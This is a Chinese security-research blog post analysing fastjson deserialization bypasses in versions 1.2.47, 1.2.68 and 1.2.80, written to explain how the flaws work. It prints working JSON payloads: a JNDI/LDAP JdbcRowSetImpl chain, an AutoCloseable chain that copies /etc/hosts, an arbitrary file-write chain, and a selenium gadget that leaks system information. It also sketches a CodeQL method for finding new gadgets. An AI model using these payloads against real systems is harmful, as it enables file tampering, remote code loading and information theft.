前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >从漏洞挖掘角度分析fastjson1.2.80 Bypass

从漏洞挖掘角度分析fastjson1.2.80 Bypass

作者头像
Jayway
发布于 2022-08-30 04:12:19
发布于 2022-08-30 04:12:19
2.8K21
代码可运行
举报
文章被收录于专栏:卓文见识卓文见识
运行总次数:1
代码可运行

1 概念澄清

首先对漏洞原理和其中的两个配置做个简单的澄清:

1.1 关于parse(Object)

Fastjson中parse方法或者parseObject可以将JSON串转化成Java对象,json数据外部可控的情况下可能出现fastjson反序列化漏洞。

1.2 关于AutoType

1)什么是AutoType?

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。

划重点,autotype是为了灵活性而产生的一个特性,通过AutoTypeSupport配置开启。

2)AutoType安全校验

AutoType本身是个正常的业务功能,但如果通过“@type”指定的是不可靠第三方Type类,就可能产生安全风险(自动调用get/set方法/构造方法)。

因此开发者添加了AutoType的黑名单机制,将这些可能产生危害的恶意类统统加入黑名单。

体现在代码中,就是在ParserConfig类中定义了一个denyHashCodes列表,将存在风险的Class的Hash值保存在其中,每次有新的恶意类出现,官方就“亡羊补牢”,将它们添加到这个黑名单列表里,这也是为什么fastjson频繁修复漏洞的原因。

维护了这样一个黑名单列表,在每次执行反序列化前,代码都会先走到方法checkAutoType中,执行检查操作:

计算反序列化类的Hash,如果在denyHashCodes里,就抛出异常"autoType is not support. "

至于为什么要用Hash列表的方式,原本这里使用的是明文黑名单,后来为了防止安全研究者直接看到黑名单对其进行研究改为Hash了,但仍可以通过彩虹表碰撞的方式得到这些hash代表的是哪些类:

1.3 关于SafeMode

Fastjson在1.2.68及之后的版本中引入了safeMode,这是一个纯粹的防护手段

开启safeMode = 不支持autoType = 不允许使用@type = 无法反序列化成任意类。

这个配置从根本上消灭了fastjson反序列化漏洞,从代码也可以看出,只要safemode为true,会直接抛异常,任何绕过的机会都不给。

所以开启了safeMode就一定不存在fastjson反序列化漏洞。

2 漏洞历史总结

不深入技术细节,对fastjson反序列化漏洞做个简单的总结。

2.1 Fastjson1.2.47

在47版本之前,基本是对于checkAutoType中黑名单的绕过和修补,后续AutoType改为默认关闭,因此漏洞利用就有了一个前提条件:需开启AutoTypeSupport,具体细节可参考:

https://paper.seebug.org/1192

直到1.2.47版本,出现了新的利用姿势,无需开启AutoTypeSupport也可利用。

利用过程分两段,通过白名单java.lang.Class,先将目标类加载到Map中缓存,后面加载恶意类时可以直接从这个mappings中取出,从而“另辟蹊径”,完全绕过checkAutoType。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "rand1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "rand2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Object", 
        "autoCommit": true
    }
}

在48版本,禁止了cache的使用,java.lang.Class也被加入了黑名单,这个绕过方法就完全被堵死了,但一定程度上启发了后续68和80版本的绕过思路。

2.1 Fastjson1.2.68

48到68之间版本,依旧是不断的发现新gadget和添加黑名单类,同样需要开启AutoTypeSupport。

到1.2.68版本,再次出现了在autoType关闭的情况下绕过checkAutoType检测的绕过方法,思路和47版本不同,但依旧是与checkAutoType内部逻辑做对抗。

绕过逻辑集中在期望类expectClass中,首先expectClassFlag校验通过前提是传入的expectClass不为空:

且期望类不在黑名单中,同时在缓存集合mappings中,满足这几个条件即可实现绕过:

一般情况下expectClass默认为null,查找传入的参数expectClass不为空的引用,有两个:

  • JavaBeanDeserializer
  • ThrowableDeserializer

1)JavaBeanDeserializer

这是68版本绕过使用的gadget,即java.lang.AutoCloseable作为expectClass,AutoCloseable子类持有文件句柄或者socket句柄,是很多类型的父接口,因此可以找到实现文件读取或写入的gadget。

使用payload运行并下断点,查看堆栈,在DefaultJSONParser#parseObject中调用JavaBeanDeserializer#deserialze执行反序列化动作:

JavaBeanDeserializer是在this.config.getDeserializer被创建的:

跟进,具体逻辑在createJavaBeanDeserializer中:

跟进到JavaBeanInfo.build,这个方法通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法:

同时也看到这里调用的反序列化器是默认的JavaBeanDeserializer:

剩下的就是找AutoCloseable的实现子类,并实现一些恶意利用,比如文件拷贝:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{ 
  '@type':"java.lang.AutoCloseable",
  '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
  'targetPath':'/Users/fa1c0n/tmp/hosts.txt',
  'tempPath':'/etc/hosts'
  }

或者任意写文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "D:/test/pwn.txt",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

运行结果,成功写入文件:

解释一下payload:MarshalOutputStream——>继承ObjectOutputStream——>继承ObjectOutput——>继承AutoCloseable,满足前置条件:

最外层通过AutoCloseable绕过检测,调用MarshalOutputStream调用构造方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
            ...
    },
    "protocolVersion": 1
}

第二层,寻找OutputStream子类 ——>FilterOutputStream子类——>InflaterOutputStream:

默认调用参数最多的构造方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"@type": "java.util.zip.InflaterOutputStream",
        "out": {
             ...
        },
        "infl": {
             ...
        },
        "bufLen": "100"

继续跟Inflater和out,其中Inflater存在public的set方法:

这里input可控,即写入文件内容可控:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },

最后继续找OutputStream的一个子类,使用FileOutputStream:

这样就控制了文件名:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"out": {
           "@type": "java.io.FileOutputStream",
           "file": "/D:/test/pwn.txt",
           "append": true
        },

2)ThrowableDeserializer

这次利用链使用的则是另外一个gadget:ThrowableDeserializer,实际上早在2020年这条利用链就已经公开,只是没有发现有效的三方依赖作为gadget,没有被官方修复,具体原理文章已经讲得很清楚:

https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ

文章里提供了一个回显情况下的信息泄露gadget,引入selenium依赖,使用下述payload:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "x":
  {
    "@type":"java.lang.Exception",
     "@type":"org.openqa.selenium.WebDriverException"
  },
 "y":{
    "$ref":"$x.systemInformation"
    }
}

下断点跟踪,调用反序列化器ThrowableDeserializer:

即可获取系统信息,包括IP、系统框架、JDK版本等:

进入这个三方依赖代码看下这个payload为什么可行:

  • 继承Exception
  • 存在getSystemInformation()方法,可获取系统信息

其他利用链的挖掘方法同上面的AutoCloseable一样,是个体力活,尝试跟了几个类,没有找到可用类,坐等poc

3 利用链挖掘

查看官方安全更新,确实是将另一条利用链Throwable直接禁用,同时在黑名单内新增了25个类,那存在RCE的gadget就在其中了,按照上面的逻辑依次找就行,。

说起来容易挖起来难,为了节省时间可以写个CodeQL查询脚本,到LGTM平台的依赖库项目在线跑一遍,脚本逻辑为:

  • source:寻找可利用类,继承Exception类,且存在合适的get/set/构造方法:
  • sink:调用危险方法,如文件读写、信息泄露、JNDI注入等。

留个坑,后面另开一篇。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
2 条评论
热度
最新
有github demo 地址么
有github demo 地址么
回复回复点赞举报
如何在外网访问呢? 然后添加https?
如何在外网访问呢? 然后添加https?
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
WebRTC中的信令和内网穿透技术 STUN / TURN
Translated from WebRTC in the real world: STUN, TURN and signaling. 最近刚接触到WebRTC,网上看到这篇介绍WebRTC的文章不错,仔细读了读还算有用,分享出来能帮到一些刚入门的人也挺好的,翻译不好的地方可以直接看原文。
全栈程序员站长
2022/09/13
6K0
WebRTC中的信令和内网穿透技术 STUN / TURN
【从头到脚】前端实现多人视频聊天— WebRTC 实战(多人篇)
这是 WebRTC 系列的第三篇文章,主要讲多人点对点连接。如果你对 WebRTC 还不太了解,推荐阅读我之前的文章。
陈大鱼头
2020/04/16
5.9K0
【从头到脚】前端实现多人视频聊天— WebRTC 实战(多人篇)
《 Socket.IO》 解决 WebSocket 通信!
大家好呀,我是小菜~ 本文主要介绍 Socket.IO 微信公众号已开启,小菜良记,没关注的同学们记得关注哦! 在介绍 Socket.IO 之前, 我们先考虑一个问题, 如果这个时候有个需求, 类似
蔡不菜丶
2022/09/21
2.4K0
《 Socket.IO》 解决 WebSocket 通信!
socket.io实践干货
一、前言 socket.io 实现了实时双向的基于事件的通讯机制,是基于 webSocket 的封装,但它不仅仅包括 webSocket,还对轮询(Polling)机制以及其它的实时通信方式封装成了通用的接口,并且在服务端实现了这些实时机制的相应代码 socket.io 是跨平台的,可以实现多平台的即时通讯 由于 iOS 端进行 socket 编程主要使用 GCDAsyncSocket 框架,但要实现 Android、iOS、web 多平台的通讯,还是选择统一的框架或协议比较好。 基本 api,使用 soc
sunsky
2020/08/20
1.4K0
socket.io实践干货
【教程】如何使用Javascript构建WebRTC视频直播?
WebRTC是一个免费的开源项目,它通过简单的API为浏览器和移动应用程序提供实时通信功能。本文将向你展示WebRTC的基本概念和功能,并指导你使用Node.js构建自己的WebRTC视频直播。
TSINGSEE青犀视频
2021/04/12
4.4K0
Express结合socket.io实现分桌点餐
去饭店吃饭的时候,桌上都会有一个二维码,每一桌的每一个用户都可以拿出手机独立点餐,而且同一桌的用户点餐都会在同一个购物车里,比如张三与李四一起来吃饭,张三点了青椒炒肉,李四拿出手机点餐的时候,购物车里就会显示张三点的青椒炒肉,而且每一桌的点餐与其他桌的不会相互干扰,付款的时候以桌为单位独立结账。
越陌度阡
2020/11/26
6490
使用node、Socket.io 搭建简易聊天室
Socket.io是一个WebSocket库,会自动根据浏览器从WebSocket、AJAX长轮询、Iframe流等等各种方式中选择最佳的方式来实现网络实时应用,而且支持的浏览器最低达IE5.5。 Socket.io 服务器 和 Socket.io 客户端之间全双工通信信道 尽可能使用WebSocket 连接建立(”尽可能“就说明要求客户端和服务端都必须使用,HTTP 长轮询`作为后备。 在了解socket-io前,我们先了解三种通信方式和Http轮询。
can4hou6joeng4
2023/11/29
4270
Koa结合socket.io实现分桌点餐
去饭店吃饭的时候,桌上都会有一个二维码,每一桌的每一个用户都可以拿出手机独立点餐,而且同一桌的用户点餐都会在同一个购物车里,比如张三与李四一起来吃饭,张三点了青椒炒肉,李四拿出手机点餐的时候,购物车里就会显示张三点的青椒炒肉,而且每一桌的点餐与其他桌的不会相互干扰,付款的时候以桌为单位独立结账。
越陌度阡
2020/11/26
5270
通过WebRTC进行实时通信-建立信令服务交换数据
换句话说,交换metadata需要在点对点传输音频、视频或数据之前。这个过程称之为信令。
音视频_李超
2020/04/02
2.3K0
通过WebRTC进行实时通信-建立信令服务交换数据
Node.js中运用socket.io实现智能回复机器人与聊天室功能
众所周知,Java强在计算,而Node强在IO,在Node后端开发中,时常会遇到要求做聊天室和智能回复机器人的功能,这也正是Node的强项,今天给大家介绍一下Node中使用socket.io实现聊天室与智能机器人的原理。
越陌度阡
2020/11/26
1.2K0
Node.js下基于Express + Socket.io 搭建一个基本的在线聊天室
  采用nodeJS设计,基于express框架,使用WebSocket编程之 socket.io机制。聊天室增加了 注册登录 模块 ,并将用户个人信息和聊天记录存入数据库.
书童小二
2018/09/03
2.6K0
Node.js下基于Express + Socket.io 搭建一个基本的在线聊天室
零基础入门:基于开源WebRTC,从0到1实现实时音视频聊天功能
本文由微医云技术团队前端工程师张宇航分享,原题“从0到1打造一个 WebRTC 应用”,有修订和改动。
JackJiang
2021/08/24
3.8K0
详解WebRTC——网页实时通信技术
运用RTCPeerConnection和RTCDataChannel两个核心API,能够实现任意数据的点对点交换,官网Demo如下:
Kevinylzhao
2018/06/22
3.6K0
详解WebRTC——网页实时通信技术
iOS 端实现1对1音视频实时通话
之前,我已经写过 Android 端实现1对1音视频实时通话 的文章。在那篇文章中,我向大家介绍了在 Android 端是如何使用 WebRTC 进行音视频通话的。今天,我们再来看看 iOS 端1对1音视频实时通话的具体实现。
音视频_李超
2020/04/01
4.4K0
iOS 端实现1对1音视频实时通话
socket.io
本译文来源于https://socket.io/get-started/chat/,不足之处请多批评指正。 最近在学些vuejs和websocket相关技术,使用了websocket的两个封装的库vue-socket.io和vue-websocket
ccf19881030
2020/04/10
4K0
socket.io
使用Webrtc和React Js在网络上共享跨平台的点对点文件
原文链接:https://medium.com/@dev2919/cross-platform-peer-to-peer-file-sharing-over-the-web-using-webrtc-and-react-js-525aa7cc342c
LiveVideoStack
2020/09/22
1.6K0
使用Webrtc和React Js在网络上共享跨平台的点对点文件
websocket深入浅出
答: 它是一种网络通信协议,是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。
全栈程序员站长
2022/09/14
2.3K0
websocket深入浅出
低延迟双向实时事件通信 Socket.IO
Socket.IO 是一个库,可以在客户端和服务器之间实现低延迟,双向和基于事件的通信。
Tinywan
2024/08/27
3000
低延迟双向实时事件通信 Socket.IO
Express结合Socket.io实现智能回复机器人
之前写了一篇 《Node.js中运用socket.io实现智能回复机器人与聊天室功能》 发现浏览的人还挺多,不过这篇博客只是讲解了一些实现原理,现在运用Node的Express框架给大家实现一下智能回复机器人。
越陌度阡
2020/11/26
7550
socket.io的简单使用
在开发websocket的时候,我们可能会用到socket.io这个库,来看一下这个库的简答应用,先看一个简单的案例,服务端代码:
挥刀北上
2021/02/03
2K0
相关推荐
WebRTC中的信令和内网穿透技术 STUN / TURN
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验